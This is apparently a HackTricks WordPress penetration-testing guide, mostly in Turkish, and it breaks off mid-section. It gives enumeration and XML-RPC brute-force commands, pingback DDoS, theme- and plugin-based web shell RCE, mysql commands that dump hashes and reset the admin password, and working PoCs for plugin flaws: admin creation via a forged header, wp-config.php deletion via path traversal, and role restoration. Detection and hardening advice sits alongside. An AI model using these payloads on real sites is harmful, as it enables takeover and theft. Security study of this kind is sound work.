# Wordpress
{{#include ../../banners/hacktricks-training.md}}
## Temel Bilgiler
- **Uploaded** dosyaları şurada bulunur: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** bu yüzden tema php'sini değiştirerek RCE elde etmeyi planlıyorsanız muhtemelen bu yolu kullanırsınız. Örneğin: **theme twentytwelve** kullanarak **404.php** dosyasına şu konumdan **access** edebilirsiniz: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **wp-config.php** içinde veritabanının root parolasını bulabilirsiniz.
- Kontrol edilecek varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Ana WordPress Dosyaları**
- `index.php`
- `license.txt` WordPress'in yüklü sürümü gibi faydalı bilgiler içerir.
- `wp-activate.php` yeni bir WordPress sitesi kurarken e-posta aktivasyon süreci için kullanılır.
- Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` WordPress'in HTTP'yi taşıma mekanizması, XML'i ise kodlama mekanizması olarak kullanarak veri iletimine izin veren bir özelliğini temsil eden bir dosyadır. Bu tür iletişim WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir.
- `wp-content` klasörü eklentilerin ve temaların saklandığı ana dizindir.
- `wp-content/uploads/` platforma yüklenen herhangi bir dosyanın saklandığı dizindir.
- `wp-includes/` sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir.
- `wp-sitemap.xml` WordPress 5.5 ve sonraki sürümlerde, tüm public gönderiler ve public olarak sorgulanabilir gönderi tipleri ve taksonomilerle birlikte bir sitemap XML dosyası oluşturur.
**Post exploitation**
- `wp-config.php` dosyası WordPress'in veritabanına bağlanmak için gereken veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, authentication keys and salts ve veritabanı tablo öneki gibi bilgileri içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu aktifleştirmek için de kullanılabilir; bu, sorun gidermede faydalı olabilir.
### Kullanıcı İzinleri
- **Administrator**
- **Editor**: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir
- **Author**: Kendi gönderilerini yayınlar ve yönetir
- **Contributor**: Gönderilerini yazar ve yönetir ama yayınlayamaz
- **Subscriber**: Gönderilere göz atar ve profilini düzenleyebilir
## **Pasif Enumerasyon**
### **Get WordPress version**
`/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınızı kontrol edin
Sayfanın **kaynak kodu** içinde (örnek from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
- `meta name`
.png>)
- CSS link dosyaları
.png>)
- JavaScript dosyaları
.png>)
### Eklentileri Al
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Temaları Al
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Genel olarak sürümleri çıkar
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## Aktif keşif
### Plugins and Themes
Muhtemelen tüm Plugins and Themes'leri bulamayacaksınız. Bunların tamamını keşfetmek için **aktif olarak Plugins and Themes listesine Brute Force uygulamanız** gerekecek (umarız ki bu listeleri içeren otomatik araçlar vardır).
### Kullanıcılar
- **ID Brute:** Bir WordPress sitesinden geçerli kullanıcıları, kullanıcı ID'lerini Brute Forcing yaparak elde edersiniz:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Eğer yanıtlar **200** veya **30X** ise, bu id'nin **geçerli** olduğu anlamına gelir. Eğer yanıt **400** ise, id **geçersiz**dir.
- **wp-json:** Kullanıcılar hakkında bilgi edinmek için şu sorgulamayı da deneyebilirsiniz:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Kullanıcılar hakkında bazı bilgiler açığa çıkarabilecek başka bir `/wp-json/` endpoint'i şudur:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Note that this endpoint only exposes users that have made a post. **Only information about the users that has this feature enable will be provided**.
Ayrıca **/wp-json/wp/v2/pages** IP adreslerini leak edebilir.
- **Login username enumeration**: **`/wp-login.php`**'e giriş yaparken **mesaj** **farklıdır**, bu **kullanıcı adı var mı yok mu** gösterir.
### XML-RPC
Eğer `xml-rpc.php` aktifse kimlik bilgilerine yönelik brute-force yapabilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi deneyin ve bu isteği gönderin:
**Kontrol**
```html
system.listMethods
```

**Credentials Bruteforce**
`wp.getUserBlogs`, `wp.getCategories` veya `metaWeblog.getUsersBlogs` credentials üzerinde brute-force yapmak için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız şu şekilde bir istek gönderebilirsiniz:
```html
wp.getUsersBlogsadminpass
```
Kimlik bilgileri geçerli değilse, 200 kodlu yanıt içinde _"Incorrect username or password"_ mesajı görünmelidir.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
.png>)
Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
wp.uploadFile1usernamepasswordnamefilename.jpgtypemime/typebits
```
Ayrıca aynı istekte birden fazla kimlik bilgisi deneyebildiğiniz için kimlik bilgilerini brute-force etmek için **daha hızlı bir yol** olan **`system.multicall`**'ı kullanabilirsiniz:
**Bypass 2FA**
Bu yöntem programlar için tasarlanmıştır, insanlar için değil; ayrıca eski olduğu için 2FA'yı desteklemez. Bu yüzden geçerli creds'iniz varsa ancak ana giriş 2FA ile korunuyorsa, **xmlrpc.php'yi kötüye kullanarak bu creds'lerle 2FA'yı atlayarak giriş yapmayı deneyebilirsiniz**. Konsol üzerinden yapabildiğiniz tüm işlemleri gerçekleştiremeyebilirsiniz, ancak Ippsec'in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) videosunda açıkladığı gibi yine de RCE'ye ulaşabilirsiniz.
**DDoS or port scanning**
Eğer listede _**pingback.ping**_ yöntemini bulabilirseniz Wordpress'in herhangi bir host/port'a keyfi bir istek göndermesini sağlayabilirsiniz.\
Bu, **binlerce** Wordpress **sitesi**ni bir **konuma** **erişmeye** (dolayısıyla o konumda bir **DDoS** oluşmasına) zorlamak için kullanılabilir veya **Wordpress**'i bazı dahili bir **ağ**'ı **tara**ması için kullanabilirsiniz (herhangi bir port belirtebilirsiniz).
```html
pingback.pinghttp://:http://
```

Eğer **faultCode** değeri **0**'dan (17) **büyük** ise, bu portun açık olduğu anlamına gelir.
Önceki bölümdeki **`system.multicall`** kullanımına bakın; bu yöntemi DDoS için nasıl kötüye kullanabileceğinizi öğrenin.
**DDoS**
```html
pingback.pinghttp://target/http://yoursite.com/and_some_valid_blog_post_url
```
.png>)
### wp-cron.php DoS
This file usually exists under the root of the Wordpress site: **`/wp-cron.php`**\
When this file is **accessed** a "**heavy**" MySQL **query** is performed, so I could be used by **attackers** to **cause** a **DoS**.\
Also, by default, the `wp-cron.php` is called on every page load (anytime a client requests any Wordpress page), which on high-traffic sites can cause problems (DoS).
It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues).
### /wp-json/oembed/1.0/proxy - SSRF
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you.
This is the response when it doesn't work:
.png>)
## SSRF
{{#ref}}
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Bu araç, **methodName: pingback.ping** ve **/wp-json/oembed/1.0/proxy** yolunun olup olmadığını kontrol eder ve mevcutlarsa bunları exploit etmeye çalışır.
## Otomatik Araçlar
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Bir biti değiştirerek erişim elde etme
Gerçek bir saldırıdan çok bu bir merak örneğidir. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti çevirebiliyordunuz. Böylece `/var/www/html/wp-includes/user.php` dosyasındaki `5389` pozisyonundaki biti NOT (`!`) işlemini NOPlamak için çevirebilirdiniz.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Kullanılan temadan bir php dosyasını değiştirme (admin kimlik bilgileri gerekli)**
Appearance → Theme Editor → 404 Template (sağda)
İçeriği php shell içerecek şekilde değiştirin:
.png>)
Güncellenen sayfaya nasıl erişileceğini internette araştırın. Bu durumda şu adrese erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
Kullanabilirsiniz:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
bir oturum elde etmek için.
## Plugin RCE
### PHP plugin
.php dosyalarını bir plugin olarak yüklemek mümkün olabilir.\
Örneğin php backdoor'unuzu şu şekilde oluşturun:
.png>)
Sonra yeni bir eklenti ekleyin:
.png>)
Eklentiyi yükleyin ve "Install Now" butonuna basın:
.png>)
"Procced"e tıklayın:
.png>)
Büyük olasılıkla görünürde hiçbir şey olmayacaktır, ancak Media'ya giderseniz yüklenen shell'i göreceksiniz:
.png>)
Erişin ve reverse shell'i çalıştırmak için URL'yi göreceksiniz:
.png>)
### Uploading and activating malicious plugin
Bu yöntem, bilinen zafiyetli ve web shell elde etmek için sömürülebilecek kötü amaçlı bir eklentinin kurulmasını içerir. Bu işlem WordPress dashboard üzerinden şu şekilde gerçekleştirilir:
1. **Plugin Acquisition**: Eklenti, Exploit DB gibi bir kaynaktan edinilir, örneğin [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- WordPress dashboard'a gidin, sonra `Dashboard > Plugins > Upload Plugin` yolunu izleyin.
- İndirilen eklentinin zip dosyasını yükleyin.
3. **Plugin Activation**: Eklenti başarıyla yüklendikten sonra dashboard üzerinden aktifleştirilmelidir.
4. **Exploitation**:
- "reflex-gallery" eklentisi yüklü ve aktif olduğunda, bilindiği üzere zafiyetli olduğu için sömürülebilir.
- Metasploit framework bu zafiyet için bir exploit sağlar. Uygun modülü yükleyip belirli komutları çalıştırarak siteye yetkisiz erişim sağlayan bir meterpreter oturumu kurulabilir.
- Bu, bir WordPress sitesini sömürmek için kullanılan birçok yöntemden sadece biridir.
İçerik, eklentiyi yükleme ve aktifleştirme adımlarını gösteren görsel açıklamalar içerir. Ancak, bu şekilde zafiyetleri sömürmenin yetki olmadan yasa dışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi sorumlu şekilde ve sadece yasal bir bağlamda, örneğin açık izinle yapılan penetration testing gibi durumlarda kullanılmalıdır.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ WordPress'te bir **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir script'tir. Daha fazla bilgi için [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)'a bakın. WordPress Versions 6.X.X, 5.X.X and 4.X.X için destek sağlar ve şunlara izin verir:
- _**Privilege Escalation:**_ WordPress'te bir kullanıcı oluşturur.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Özel plugin (backdoor) yükleyerek WordPress'e ekleme yapar.
- _**(RCE) Built-In Plugin Edit:**_ WordPress'teki Built-In Plugins'i düzenler.
- _**(RCE) Built-In Theme Edit:**_ WordPress'teki Built-In Themes'i düzenler.
- _**(Custom) Custom Exploits:**_ Üçüncü taraf WordPress Plugins/Themes için Custom Exploits sağlar.
## Post Exploitation
Kullanıcı adları ve parolaları çıkar:
```bash
mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Admin parolasını değiştir:
```bash
mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Eklentileri Pentest
### Saldırı Yüzeyi
Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkarabileceğini bilmek, o işlevsellikteki zafiyetleri bulmak için kilit önemdedir. Aşağıdaki madde işaretlerinde bir eklentinin işlevselliği nasıl açığa çıkarabileceğini ve zafiyetli eklenti örneklerini [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) adresinde bulabilirsiniz.
- **`wp_ajax`**
Bir eklentinin fonksiyonları kullanıcılara açığa çıkarma yollarından biri AJAX handler'ları aracılığıyladır. Bunlar logic, authorization veya authentication ile ilgili hatalar içerebilir. Dahası, bu fonksiyonların hem authentication hem de authorization'ı wordpress nonce'un varlığına dayandırması oldukça sık görülür; bu nonce'a **Wordpress instance'ında kimliği doğrulanmış herhangi bir kullanıcı sahip olabilir** (role bağlı olmaksızın).
Bir eklentide bir fonksiyonu açığa çıkarmak için kullanılabilecek fonksiyonlar şunlardır:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**`nopriv` kullanımı endpoint'in herhangi bir kullanıcı tarafından (oturum açmamış olanlar dahil) erişilebilir olmasını sağlar.**
> [!CAUTION]
> Ayrıca, eğer fonksiyon sadece kullanıcı yetkilendirmesini `wp_verify_nonce` fonksiyonu ile kontrol ediyorsa, bu fonksiyon yalnızca kullanıcının oturum açmış olduğunu doğrular; genellikle kullanıcının rolünü kontrol etmez. Bu yüzden düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı işlemlere erişim sağlayabilir.
- **REST API**
wordpress'te `register_rest_route` fonksiyonunu kullanarak fonksiyonları REST API üzerinden açığa çıkarmak da mümkündür:
```php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
```
`permission_callback`, belirli bir kullanıcının API metodunu çağırmaya yetkili olup olmadığını kontrol eden bir callback fonksiyonudur.
**Eğer dahili `__return_true` fonksiyonu kullanılırsa, bu kullanıcı izinleri kontrolünü basitçe atlar.**
- **PHP dosyasına doğrudan erişim**
Elbette, Wordpress PHP kullanır ve eklenti içindeki dosyalar web'den doğrudan erişilebilir. Bu nedenle, bir eklenti yalnızca dosyaya erişilmesiyle tetiklenen herhangi bir savunmasız işlevsellik açığa çıkarıyorsa, bu herhangi bir kullanıcı tarafından sömürülebilir.
### Trusted-header REST taklit (WooCommerce Payments ≤ 5.6.1)
Bazı eklentiler dahili entegrasyonlar veya reverse proxy'ler için “trusted header” kısayolları uygular ve REST istekleri için mevcut kullanıcı bağlamını ayarlamak üzere bu header'ı kullanır. Eğer header yukarı akıştaki bir bileşen tarafından istekle kriptografik olarak bağlanmamışsa, bir saldırgan onu sahteleyebilir ve ayrıcalıklı REST yollarına administrator olarak erişebilir.
- Impact: kimlik doğrulanmamış (unauthenticated) privilege escalation ile admin'e yükselme; core users REST route aracılığıyla yeni bir administrator oluşturarak.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (kullanıcı ID'sini 1 olarak zorlar; tipik olarak ilk administrator hesabı).
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
PoC
```http
POST /wp-json/wp/v2/users HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Neden işe yarıyor
- Eklenti, istemci tarafından kontrol edilen bir header'ı kimlik doğrulama durumuna eşliyor ve yetki kontrollerini atlıyor.
- WordPress core bu route için `create_users` yetkisini bekler; eklenti hilesi bunu atlayarak başlıktan doğrudan geçerli kullanıcı bağlamını ayarlar.
Beklenen başarı göstergeleri
- Oluşturulan kullanıcıyı tanımlayan JSON gövdesi ile HTTP 201.
- `wp-admin/users.php` içinde görünen yeni bir admin kullanıcı.
Tespit kontrol listesi
- `getallheaders()`, `$_SERVER['HTTP_...']` veya kullanıcı bağlamını ayarlamak için özel header'ları okuyan vendor SDK'ları (ör. `wp_set_current_user()`, `wp_set_auth_cookie()`) için grep yapın.
- İstek header'larına dayanan ve sağlam `permission_callback` kontrollerinden yoksun ayrıcalıklı callback'ler içeren REST kayıtlarını inceleyin.
- Yalnızca header değerleri ile korunan REST handler'ları içinde çekirdek kullanıcı yönetimi fonksiyonları (`wp_insert_user`, `wp_create_user`) kullanımına bakın.
Sertleştirme
- Kimlik doğrulamayı veya yetkilendirmeyi asla istemci kontrollü header'lardan türetmeyin.
- Eğer bir reverse proxy kimlik enjekte etmek zorundaysa, güveni proxy'de sonlandırın ve gelen kopyaları kenarda temizleyin (ör. edge'de `unset X-Wcpay-Platform-Checkout-User`), ardından imzalı bir token iletin ve sunucu tarafında doğrulayın.
- Yetkili işlemler yapan REST route'ları için `current_user_can()` kontrolleri ve katı bir `permission_callback` gerektirin (asla `__return_true` kullanmayın).
- Header “impersonation” yerine birinci taraf auth (cookies, application passwords, OAuth) tercih edin.
Referanslar: genel vaka ve daha geniş analiz için bu sayfanın sonundaki linklere bakın.
### wp_ajax_nopriv üzerinden Yetkilendirilmemiş Keyfi Dosya Silme (Litho Theme <= 3.0)
WordPress tema ve eklentileri genellikle `wp_ajax_` ve `wp_ajax_nopriv_` hook'ları üzerinden AJAX işleyicileri açığa çıkarır. **_nopriv_** varyantı kullanıldığında **callback yetkilendirilmemiş ziyaretçiler tarafından erişilebilir hale gelir**, bu yüzden herhangi bir hassas işlem ayrıca şunları uygulamalıdır:
1. Bir **yetki kontrolü** (ör. `current_user_can()` veya en azından `is_user_logged_in()`), ve
2. `check_ajax_referer()` / `wp_verify_nonce()` ile doğrulanan bir **CSRF nonce'u**, ve
3. **Sıkı giriş sanitizasyonu/doğrulaması**.
Litho çok amaçlı tema (< 3.1) *Remove Font Family* özelliğinde bu 3 kontrolü unutmuş ve aşağıdaki kodu (basitleştirilmiş) göndermiştir:
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Issues introduced by this snippet:
* **Kimlik doğrulaması olmadan erişim** – the `wp_ajax_nopriv_` hook is registered.
* **No nonce / capability check** – herhangi bir ziyaretçi endpoint'e erişebilir.
* **Yol temizleme yok** – kullanıcı tarafından kontrol edilen `fontfamily` stringi filtrelenmeden bir dosya sistemi yoluna ekleniyor, bu da klasik `../../` traversal'a izin veriyor.
#### Exploitation
Bir saldırgan tek bir HTTP POST isteği göndererek **uploads temel dizini altındaki** (genellikle `/wp-content/uploads/`) herhangi bir dosya veya dizini silebilir:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
#### Tespit kontrol listesi
* `add_action( 'wp_ajax_nopriv_...')` içinde filesystem helper'larını (`copy()`, `unlink()`, `$wp_filesystem->delete()`, vb.) çağıran herhangi bir callback.
* Temizlenmemiş kullanıcı girdilerinin path'lere birleştirilmesi (`$_POST`, `$_GET`, `$_REQUEST` öğelerine bakın).
* `check_ajax_referer()` ve `current_user_can()`/`is_user_logged_in()` çağrılarının eksik olması.
#### Sertleştirme
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Her zaman** diske yapılan herhangi bir write/delete işlemini yetkili kabul edin ve çift kontrol edin:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Birçok eklenti, orijinal rol(leri) user meta içinde kaydederek daha sonra geri yüklenebilmeleri için "view as role" veya geçici rol-değiştirme özelliği uygular. Eğer restorasyon yolu yalnızca request parametrelerine (ör. `$_REQUEST['reset-for']`) ve eklenti tarafından tutulan bir listeye dayanıyor ve capabilities kontrolü ile geçerli bir nonce doğrulaması yapılmıyorsa, bu bir vertical privilege escalation'a dönüşür.
Gerçek bir örnek Admin and Site Enhancements (ASE) eklentisinde (≤ 7.6.2.1) bulundu. Reset dalı, kullanıcı adı dahili bir dizi `$options['viewing_admin_as_role_are']` içinde görünüyorsa `reset-for=` bazında rolleri geri yükledi, fakat mevcut rolleri kaldırmadan ve user meta `_asenha_view_admin_as_original_roles` içindeki kaydedilmiş rolleri yeniden eklemeden önce ne `current_user_can()` kontrolü ne de nonce doğrulaması yaptı:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Neden istismar edilebilir
- Sunucu tarafı yetkilendirmesi olmadan `$_REQUEST['reset-for']` ve bir plugin seçeneğine güvenir.
- Bir kullanıcı daha önce `_asenha_view_admin_as_original_roles` içinde daha yüksek ayrıcalıklara sahipse ve yetkisi düşürüldüyse, sıfırlama yoluna erişerek bunları geri yükleyebilir.
- Bazı dağıtımlarda, kimliği doğrulanmış herhangi bir kullanıcı `viewing_admin_as_role_are` içinde hâlâ bulunan başka bir kullanıcı adı için bir reset tetikleyebilir (bozuk yetkilendirme).
Saldırı önkoşulları
- Özelliğin etkin olduğu savunmasız plugin sürümü.
- Hedef hesapta, önceki kullanımdan user meta'da saklanan eski yüksek ayrıcalıklı bir rol bulunması.
- Herhangi bir kimliği doğrulanmış oturum; reset akışında nonce/capability kontrolünün eksik olması.
Exploitation (example)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for='
```
Zafiyetli sürümlerde bu, mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (ör., `administrator`) yeniden ekler; bu da yetkilerin etkin bir biçimde yükseltilmesine yol açar.
Detection checklist
- Kullanıcı meta verilerinde "orijinal roller"i (ör., `_asenha_view_admin_as_original_roles`) saklayan rol-değiştirme özelliklerini arayın.
- Aşağıdaki özelliklere sahip sıfırlama/geri yükleme yollarını tespit edin:
- Kullanıcı adlarını `$_REQUEST` / `$_GET` / `$_POST`'ten okuyan.
- `current_user_can()` ve `wp_verify_nonce()` / `check_admin_referer()` olmadan `add_role()` / `remove_role()` ile rolleri değiştiren.
- Yetkilendirmeyi aktörün yetenekleri yerine bir plugin option dizisine (ör., `viewing_admin_as_role_are`) dayandıran.
Hardening
- Her durum-değiştiren dalda yetenek kontrollerini zorunlu kılın (ör., `current_user_can('manage_options')` veya daha sıkı).
- Tüm rol/izin değişiklikleri için nonces gerektirip bunları doğrulayın: `check_admin_referer()` / `wp_verify_nonce()`.
- İstekle sağlanan kullanıcı adlarına asla güvenmeyin; hedef kullanıcıyı sunucu tarafında kimliği doğrulanmış aktöre ve açık politikaya göre belirleyin.
- Profil/rol güncellemelerinde "orijinal roller" durumunu geçersiz kılın; böylece eski yüksek yetkili geri yüklemelerin önüne geçin:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Geçici rol değişimleri için minimal durum saklamayı ve zaman sınırlı, capability-guarded tokenlar kullanmayı düşünün.
---
### WordPress/plugin CVE'leri için WAF değerlendirmeleri
Genel edge/server WAF'lar geniş desenlere (SQLi, XSS, LFI) göre ayarlanmıştır. Birçok yüksek etkili WordPress/plugin hatası uygulamaya özgü mantık/auth hatalarıdır ve motor WordPress rotalarını ve eklenti semantiğini anlamıyorsa zararsız trafik gibi görünür.
Saldırı notları
- Temiz payloadlarla eklenti-özgü endpointleri hedefleyin: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes.
- Önce unauth yollarını deneyin (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Varsayılan payloads genellikle obfuscation yapmadan başarılı olur.
- Tipik yüksek etkili vakalar: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Savunma notları
- Eklenti CVE'lerini korumak için genel WAF imzalarına güvenmeyin. Uygulama-katmanı, zafiyete-özel virtual patches uygulayın veya hızlıca güncelleyin.
- Kodda negatif regex filtreleri yerine positive-security kontrollerini tercih edin (capabilities, nonces, strict input validation).
## WordPress Koruması
### Düzenli Güncellemeler
WordPress, plugins ve temaların güncel olduğundan emin olun. Ayrıca otomatik güncellemenin wp-config.php'de etkinleştirildiğini doğrulayın:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Ayrıca, yalnızca güvenilir WordPress eklentilerini ve temalarını yükleyin.
### Güvenlik Eklentileri
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **Diğer Öneriler**
- Varsayılan **admin** kullanıcısını kaldırın
- Güçlü **parolalar** ve **2FA** kullanın
- Kullanıcıların **izinlerini** periyodik olarak **gözden geçirin**
- Brute Force saldırılarını önlemek için giriş denemelerini sınırlandırın
- `wp-admin.php` dosyasının adını değiştirin ve yalnızca dahili erişime veya belirli IP adreslerinden erişime izin verin.
### Kimlik doğrulaması gerektirmeyen SQL Injection (yetersiz doğrulama) (WP Job Portal <= 2.3.2)
WP Job Portal işe alım eklentisi, en nihayetinde `modules/category/model.php::validateFormData()` içinde aşağıdaki güvenlik açığı içeren kodu çalıştıran **savecategory** görevini açığa çıkardı:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Bu parçacığın neden olduğu sorunlar:
1. **Unsanitised user input** – `parentid` HTTP isteğinden doğrudan geliyor.
2. **String concatenation inside the WHERE clause** – `is_numeric()` / `esc_sql()` / prepared statement yok.
